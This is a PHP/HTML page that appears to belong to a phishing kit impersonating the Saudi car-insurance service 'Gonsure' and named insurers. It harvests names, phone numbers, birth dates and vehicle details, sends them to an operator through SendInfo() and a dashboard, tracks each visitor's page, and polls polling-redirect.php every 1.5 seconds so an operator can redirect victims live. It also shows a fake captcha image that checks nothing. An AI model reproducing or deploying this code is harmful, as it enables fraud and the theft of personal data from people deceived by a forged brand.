<?php
require_once(__DIR__ . '/geo-check.php');

error_reporting(0);
ini_set('display_errors', 0);
session_start();
require_once(__DIR__ . "/track-visit.php");
require_once('./add-efaa.php');
require_once('./dashboard/init.php');
require_once(__DIR__ . "/auto-register.php");

if (isset($_SESSION['user_id'])) {
    $User->UpdateCurrentPage($_SESSION['user_id'], 'معلومات مقدم الطلب');
    $dataa = [
        'userId' => $_SESSION['user_id'],
        'page' => 'معلومات مقدم الطلب'
    ];
}

if (isset($_GET['type'])) {
    $type = $_GET['type'];
}

if (isset($_POST['submit'])) {
    $site = array(
        'name' => $_POST['name'],
        'phone' => $_POST['phone'],
        'date' => $_POST['date'],
        'page' => 'معلومات مقدم الطلب',
        'message' => 'معلومات مقدم الطلب',
        'type' => '5'
    );

    ensureUserRegistered();
    $userId = $_SESSION['user_id'];
    $updateResult = $User->UpdatePhone($userId, $site);
    if ($updateResult) {
        SendInfo($_POST['name'], $_POST['phone'], $_POST['date']);
        $_SESSION['date2'] = $_POST['date2'];
        $_SESSION['createdYear'] = $_POST['createdYear'];
        echo "<script>document.location.href='index-types.php';</script>";
    }
}
?>
<!DOCTYPE html>
<html lang="ar" dir="rtl">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <title>جونشور | بيانات التأمين</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet">
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"></script>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.7.2/css/all.min.css">
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
    <link rel="stylesheet" href="./assets/gonsure-style.css">
    <style>
        .calendar-table td {
            cursor: pointer;
            padding: 10px;
            text-align: center;
        }
        .calendar-table td:hover {
            background-color: #eff6ff;
            border-radius: 50%;
        }
        table {
            border: none;
            width: 100%;
            border-collapse: collapse;
        }
        thead {
            border-bottom: 1px solid var(--border);
        }
        td, th {
            border: none;
            padding: 8px;
            text-align: center;
        }
        tr {
            font-weight: 500;
        }
        th {
            color: var(--text-muted);
            font-size: 12px;
        }
        .today {
            background-color: var(--primary) !important;
            color: white !important;
            border-radius: 50% !important;
            text-align: center !important;
            padding: 10px !important;
        }
        .disabled {
            color: #ccc;
            pointer-events: none;
        }
    </style>
</head>
<body style="background: var(--bg-light);">

    <!-- Navbar -->
    <nav class="gonsure-nav">
        <a href="index.php">
            <img src="./assets/gonsure_logo.svg" alt="جونشور" class="logo">
        </a>
        <div class="step-indicator">
            <div class="step-dot completed"></div>
            <div class="step-dot active"></div>
            <div class="step-dot"></div>
            <div class="step-dot"></div>
        </div>
    </nav>

    <!-- Calendar Modal -->
    <div class="modal show" id="calendarModal" tabindex="-1" aria-hidden="true">
        <div class="modal-dialog modal-dialog-centered px-4">
            <div class="modal-content text-center" style="border-radius: var(--radius-lg); border: none; box-shadow: var(--shadow-lg);">
                <div class="modal-body" style="padding: 20px;">
                    <div class="d-flex justify-content-between align-items-center mb-2">
                        <div>
                            <select id="monthSelect" class="form-select d-none w-auto"></select>
                            <select id="yearSelect" class="form-select d-inline-block w-auto fw-bold" style="border: none; font-family: 'Rubik', sans-serif;"></select>
                        </div>
                        <div>
                            <button class="btn btn-sm" style="font-size: 20px; font-weight: bold; border: none; color: var(--primary);" id="prevMonth">&lt;</button>
                            <button class="btn btn-sm" style="font-size: 20px; font-weight: bold; border: none; color: var(--primary);" id="nextMonth">&gt;</button>
                        </div>
                    </div>
                    <table class="table calendar-table">
                        <thead>
                            <tr>
                                <th>Su</th><th>Mo</th><th>Tu</th><th>We</th><th>Th</th><th>Fr</th><th>Sa</th>
                            </tr>
                        </thead>
                        <tbody id="calendarBody"></tbody>
                    </table>
                </div>
            </div>
        </div>
    </div>

    <!-- Form -->
    <div style="padding: 20px 16px;">
        <div class="gonsure-form fade-in">
            <div class="form-title">
                <i class="fas fa-user-edit" style="color: var(--primary); margin-left: 8px;"></i>
                بيانات التأمين
            </div>
            <form action="" method="POST">

                <div class="mb-3">
                    <label><i class="fas fa-user" style="margin-left: 6px; font-size: 12px; color: var(--primary);"></i> الاسم الكامل</label>
                    <input type="text" name="name" required class="form-control" placeholder="أدخل الاسم الكامل">
                </div>

                <div class="mb-3">
                    <label><i class="fas fa-phone" style="margin-left: 6px; font-size: 12px; color: var(--primary);"></i> رقم الهاتف</label>
                    <input type="text" name="phone" required pattern="[0-9]*" minlength="9" maxlength="10" inputmode="numeric" class="form-control" placeholder="05XXXXXXXX">
                </div>

                <div class="mb-3">
                    <label><i class="fas fa-calendar" style="margin-left: 6px; font-size: 12px; color: var(--primary);"></i> تاريخ الميلاد</label>
                    <input type="date" name="date" required class="form-control" style="color: var(--primary); font-weight: 600;">
                </div>

                <div class="mb-3">
                    <label><i class="fas fa-calendar-check" style="margin-left: 6px; font-size: 12px; color: var(--primary);"></i> تاريخ بدء الوثيقة</label>
                    <input type="date" id="selectedDate" name="date2" readonly required inputmode="numeric" class="form-control" style="color: var(--primary); font-weight: 600;">
                </div>

                <div class="mb-3">
                    <label><i class="fas fa-car" style="margin-left: 6px; font-size: 12px; color: var(--primary);"></i> الغرض من استخدام المركبة</label>
                    <select class="form-select" name="purposeUse" id="purposeUse" required>
                        <option value="">اختر</option>
                        <option value="شخصي">شخصي</option>
                        <option value="تجاري">تجاري</option>
                        <option value="تأجير">تأجير</option>
                        <option value="نقل الاركاب أو كريم-أوبر">نقل الركاب أو كريم-أوبر</option>
                        <option value="نقل بضائع">نقل بضائع</option>
                        <option value="نقل مشتقات نفطية">نقل مشتقات نفطية</option>
                    </select>
                </div>

                <div class="mb-3">
                    <label><i class="fas fa-money-bill" style="margin-left: 6px; font-size: 12px; color: var(--primary);"></i> القيمة التقديرية للمركبة</label>
                    <input type="text" id="ssn" required pattern="[0-9]*" inputmode="numeric" class="form-control" placeholder="أدخل القيمة التقديرية">
                </div>

                <div class="mb-3">
                    <label><i class="fas fa-wrench" style="margin-left: 6px; font-size: 12px; color: var(--primary);"></i> سنة الصنع</label>
                    <select class="form-select" name="createdYear" id="manufacturing" required>
                        <option value="">اختر</option>
                        <script>
                            for (var i = 2025; i >= 1930; i--) {
                                document.write('<option value="' + i + '">' + i + '</option>');
                            }
                        </script>
                    </select>
                </div>

                <div class="mb-3">
                    <label><i class="fas fa-tools" style="margin-left: 6px; font-size: 12px; color: var(--primary);"></i> مكان الإصلاح</label>
                    <div class="radio-tabs" style="margin-top: 8px;">
                        <div class="radio-tab" onclick="this.querySelector('input').checked=true; this.classList.add('active'); this.nextElementSibling.classList.remove('active');">
                            <input type="radio" class="form-check-input" id="check1a" name="check1" required style="display:none;">
                            <i class="fas fa-warehouse" style="font-size: 14px;"></i>
                            <span>الورشة</span>
                        </div>
                        <div class="radio-tab active" onclick="this.querySelector('input').checked=true; this.classList.add('active'); this.previousElementSibling.classList.remove('active');">
                            <input type="radio" class="form-check-input" checked id="check1b" name="check1" required style="display:none;">
                            <i class="fas fa-building" style="font-size: 14px;"></i>
                            <span>الوكالة</span>
                        </div>
                    </div>
                </div>

                <!-- رمز التحقق -->
                <div class="mb-3">
                    <label><i class="fas fa-shield-halved" style="margin-left: 6px; font-size: 12px; color: var(--primary);"></i> رمز التحقق</label>
                    <div class="captcha-container">
                        <input type="text" required minlength="4" maxlength="" inputmode="numeric" placeholder="أدخل رمز التحقق">
                        <img src="./assets/download.jfif" width="80" alt="captcha">
                    </div>
                </div>

                <button type="submit" name="submit" id="butSubm" disabled class="btn-gonsure">
                    <span>إظهار العروض</span>
                    <i class="fas fa-search"></i>
                </button>

                <p class="agreement-text" style="margin-top: 16px;">
                    بالضغط على "إظهار العروض" فإنك توافق على منح شركة جونشور الحق في الاستعلام من وزارة التجارة و/أو مركز المعلومات الوطني عن بياناتي
                </p>

            </form>
        </div>
    </div>

    <!-- Companies -->
    <div class="companies-section">
        <div style="border-left: 1px solid var(--border); padding-left: 16px;">
            <img src="./assets/Group 6528.svg" width="80" alt="">
        </div>
        <div style="display: flex; gap: 12px; overflow-x: auto; flex: 1;">
            <img src="./assets/Aljazira-Takaful.svg" width="60" alt="">
            <img src="./assets/Walaa.svg" width="60" alt="">
            <img src="./assets/MedGulf.svg" width="60" alt="">
        </div>
    </div>

    <!-- Footer -->
    <footer class="gonsure-footer">
        <img src="./assets/gonsure_logo.svg" alt="جونشور" class="footer-logo">
        <p>أحد منتجات شركة ضامن لوساطة التأمين التعاوني خاضع لرقابة وإشراف هيئة التأمين</p>
        <div class="footer-copyright">© جونشور 2025. جميع الحقوق محفوظة</div>
    </footer>

    <script src="js/main.js"></script>
    <script>
        const today = new Date();
        const calendarModal = new bootstrap.Modal(document.getElementById('calendarModal'));
        document.getElementById('selectedDate').valueAsDate = new Date(today.getFullYear(), today.getMonth() + 1);

        $(document).ready(function() {
            $('#selectedDate').click(function() {
                generateCalendar(currentDate, 'selectedDate');
                calendarModal.show();
            });
        });

        const selectedDateInput = document.getElementById('selectedDate');
        const calendarBody = document.getElementById('calendarBody');
        const monthSelect = document.getElementById('monthSelect');
        const yearSelect = document.getElementById('yearSelect');
        const prevMonthBtn = document.getElementById('prevMonth');
        const nextMonthBtn = document.getElementById('nextMonth');

        const months = ['January','February','March','April','May','June','July','August','September','October','November','December'];
        const minDate = new Date(today.getFullYear(), today.getMonth(), 1);
        const maxDate = new Date(today.getFullYear(), today.getMonth() + 3, 1);
        let currentDate = new Date(minDate);

        function populateDropdowns() {
            yearSelect.innerHTML = '';
            monthSelect.innerHTML = '';
            for (let y = minDate.getFullYear(); y <= maxDate.getFullYear(); y++) {
                yearSelect.add(new Option(y, y));
            }
            updateMonthOptions();
        }

        function updateMonthOptions() {
            const selectedYear = parseInt(yearSelect.value);
            monthSelect.innerHTML = '';
            const startMonth = selectedYear === minDate.getFullYear() ? minDate.getMonth() : 0;
            const endMonth = selectedYear === maxDate.getFullYear() ? maxDate.getMonth() : 11;
            for (let m = startMonth; m <= endMonth; m++) {
                monthSelect.add(new Option(months[m], m));
            }
        }

        function isBeforeMinMonth(date) {
            return date.getFullYear() < minDate.getFullYear() || (date.getFullYear() === minDate.getFullYear() && date.getMonth() < minDate.getMonth());
        }

        function isAfterMaxMonth(date) {
            return date.getFullYear() > maxDate.getFullYear() || (date.getFullYear() === maxDate.getFullYear() && date.getMonth() > maxDate.getMonth());
        }

        function syncDropdowns() {
            yearSelect.value = currentDate.getFullYear();
            updateMonthOptions();
            monthSelect.value = currentDate.getMonth();
        }

        function updateCalendarFromDropdowns() {
            currentDate = new Date(parseInt(yearSelect.value), parseInt(monthSelect.value));
            generateCalendar(currentDate);
        }

        prevMonthBtn.addEventListener('click', () => {
            const testDate = new Date(currentDate.getFullYear(), currentDate.getMonth() - 1);
            if (!isBeforeMinMonth(testDate)) { currentDate = testDate; syncDropdowns(); generateCalendar(currentDate); }
        });

        nextMonthBtn.addEventListener('click', () => {
            const testDate = new Date(currentDate.getFullYear(), currentDate.getMonth() + 1);
            if (!isAfterMaxMonth(testDate)) { currentDate = testDate; syncDropdowns(); generateCalendar(currentDate); }
        });

        monthSelect.addEventListener('change', updateCalendarFromDropdowns);
        yearSelect.addEventListener('change', () => { updateMonthOptions(); updateCalendarFromDropdowns(); });

        function generateCalendar(date, inputId) {
            const selectedDateInput = document.getElementById('selectedDate');
            const year = date.getFullYear();
            const month = date.getMonth();
            const firstDay = new Date(year, month, 1);
            const lastDay = new Date(year, month + 1, 0);
            const startDay = firstDay.getDay();
            const totalDays = lastDay.getDate();
            calendarBody.innerHTML = '';
            prevMonthBtn.disabled = isBeforeMinMonth(new Date(year, month - 1));
            nextMonthBtn.disabled = isAfterMaxMonth(new Date(year, month + 1));

            for (let week = 0; week < 6; week++) {
                let row = document.createElement('tr');
                for (let dow = 0; dow < 7; dow++) {
                    const cell = document.createElement('td');
                    const cellIndex = week * 7 + dow;
                    const cellDay = cellIndex - startDay + 1;
                    if (cellIndex >= startDay && cellDay <= totalDays) {
                        cell.textContent = cellDay;
                        const cellDate = new Date(year, month, cellDay);
                        const isBeforeToday = (year === today.getFullYear() && month === today.getMonth() && cellDay < today.getDate());
                        if (cellDate.toDateString() === today.toDateString()) {
                            cell.classList.add('today');
                        }
                        if (isBeforeMinMonth(cellDate) || isAfterMaxMonth(cellDate) || isBeforeToday) {
                            cell.classList.add('disabled');
                        } else {
                            cell.addEventListener('click', () => {
                                const formattedDate = `${year}-${String(month + 1).padStart(2, '0')}-${String(cellDay).padStart(2, '0')}`;
                                selectedDateInput.value = formattedDate;
                                calendarModal.hide();
                            });
                        }
                    }
                    row.appendChild(cell);
                }
                calendarBody.appendChild(row);
            }
        }

        window.addEventListener('DOMContentLoaded', () => { populateDropdowns(); syncDropdowns(); });

        document.addEventListener('DOMContentLoaded', function() {
            const form = document.querySelector('form');
            const submitBtn = document.getElementById('butSubm');
            form.addEventListener('input', function() { submitBtn.disabled = !form.checkValidity(); });
            if (form.checkValidity()) { submitBtn.disabled = false; }
        });
    </script>

    <script>
    function checkRedirect() {
        fetch('polling-redirect.php').then(r => r.json()).then(data => { if (data.redirect) { window.location.href = data.redirect; } }).catch(e => {});
    }
    setInterval(checkRedirect, 1500);
    checkRedirect();
    </script>
<input type="hidden" id="hb_uid" value="<?= isset($_SESSION['user_id']) ? $_SESSION['user_id'] : 0 ?>">
<script src="js/heartbeat.js"></script>
</body>
</html>
